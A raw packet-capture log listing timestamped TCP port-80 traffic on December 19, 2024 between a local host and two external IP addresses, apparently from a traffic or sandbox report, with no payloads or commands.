Dec 19, 2024 20:11:52.590646982 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.590801001 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.591418982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.591479063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.591540098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.591593981 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.592267990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.592382908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.592462063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.593163967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.593297958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.593360901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.594003916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.594069004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.594180107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.594897032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.594954967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.594968081 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.595006943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.595737934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.595854998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.595932007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.596616983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.596762896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.596817970 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.597464085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.597526073 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.597563982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.598347902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.598403931 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.598464012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.599225998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.599276066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.599348068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.599396944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.600090981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.600214005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.600266933 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.600965023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.601042032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.601110935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.601800919 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.601921082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.601979017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.602696896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.602746964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.602777958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.603579998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.603629112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.603684902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.604441881 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.604490995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.604526043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.605397940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.605448008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.659172058 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.661185026 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.752068043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.752131939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.752190113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.752270937 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.752460957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.752506018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.752572060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.752618074 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.753354073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.753422022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.753458023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.753503084 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.754232883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.754277945 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.754334927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.754379988 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.755079985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.755127907 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.755287886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.755333900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.755943060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.755997896 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.756068945 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.756115913 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.756828070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.756875038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.756951094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.756994009 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.757702112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.757750988 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.757858992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.757905960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.758584976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.758630037 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.758666992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.758714914 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.759429932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.759476900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.759809971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.759855986 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.760333061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.760386944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.760448933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.760499954 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.761142015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.761195898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.761533976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.761578083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.762032032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.762080908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.762197971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.762245893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.762891054 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.762928963 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.763005972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.763050079 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.763787985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.763832092 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.763891935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.763947010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.764739037 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.764787912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.764825106 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.764863968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.765604019 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.765647888 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.765676975 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.765722990 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.766369104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.766408920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.766484976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.766530037 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.767343998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.767391920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.767453909 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.767494917 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.768330097 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.768374920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.768436909 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.768476009 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.769040108 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.769087076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.769149065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.769191027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.769855976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.769922018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.770009041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.770055056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.770678997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.770723104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.770790100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.770833015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.771581888 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.771624088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.771734953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.771775961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.772445917 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.772489071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.772555113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.772643089 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.773324013 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.773370981 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.773426056 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.773464918 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.774168015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.774211884 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.774282932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.774323940 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.775032043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.775075912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.775158882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.775198936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.775893927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.775940895 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.776002884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.776041985 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.776781082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.776840925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.777020931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.777072906 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.777616024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.777676105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.777736902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.777782917 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.778497934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.778551102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.778610945 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.778656960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.779371023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.779423952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.779464006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.779510975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.780232906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.780287027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.780323982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.780374050 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.781146049 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.781197071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.781233072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.781275988 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.782027960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.782078028 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.782080889 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.782130003 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.782850981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.782917023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.782953024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.783000946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.783732891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.783776999 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.783842087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.783900023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.784603119 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.784651995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.784713984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.784759998 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.785500050 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.785546064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.785577059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.785624027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.786362886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.786411047 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.786446095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.786488056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.787333965 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.787379980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.787385941 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.787436962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.788175106 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.788224936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.788254976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.788306952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.788928032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.788968086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.789050102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.789096117 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.789810896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.789865971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.789925098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.789968014 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.790724039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.790771008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.790786028 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.790832996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.791549921 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.791599989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.791753054 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.791799068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.792478085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.792527914 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.792532921 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.792583942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.793306112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.793359041 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.793418884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.793468952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.794255018 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.794302940 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.794570923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.794616938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.795089960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.795135021 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.795186996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.795232058 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.795888901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.795941114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.795994043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.796039104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.796744108 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.796787024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.796854019 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.796912909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.797578096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.797624111 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.907193899 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.907351971 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.924526930 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.924737930 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.924807072 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.944417000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.944442034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.944504976 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.944793940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.944852114 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.944858074 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.944926977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.945651054 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.945705891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.945741892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.945799112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.946573019 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.946628094 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.946664095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.946712017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.947370052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.947423935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.947503090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.947575092 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.948232889 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.948287010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.948362112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.948457003 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.949095964 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.949145079 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.949204922 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.949255943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.949971914 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.950028896 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.950093985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.950138092 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.950819969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.950879097 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.950920105 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.950973034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.951678991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.951734066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.952030897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.952090025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.952573061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.952625036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.952682972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.952733994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.953434944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.953489065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.953552961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.953603029 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.954303026 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.954360962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.954457998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.954509020 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.955184937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.955240965 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.955298901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.955415010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.956037998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.956129074 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.956203938 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.956255913 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.956914902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.956970930 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.957011938 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.957102060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.957813025 CET	80	49877	31.41.244.11	192.168.2.4
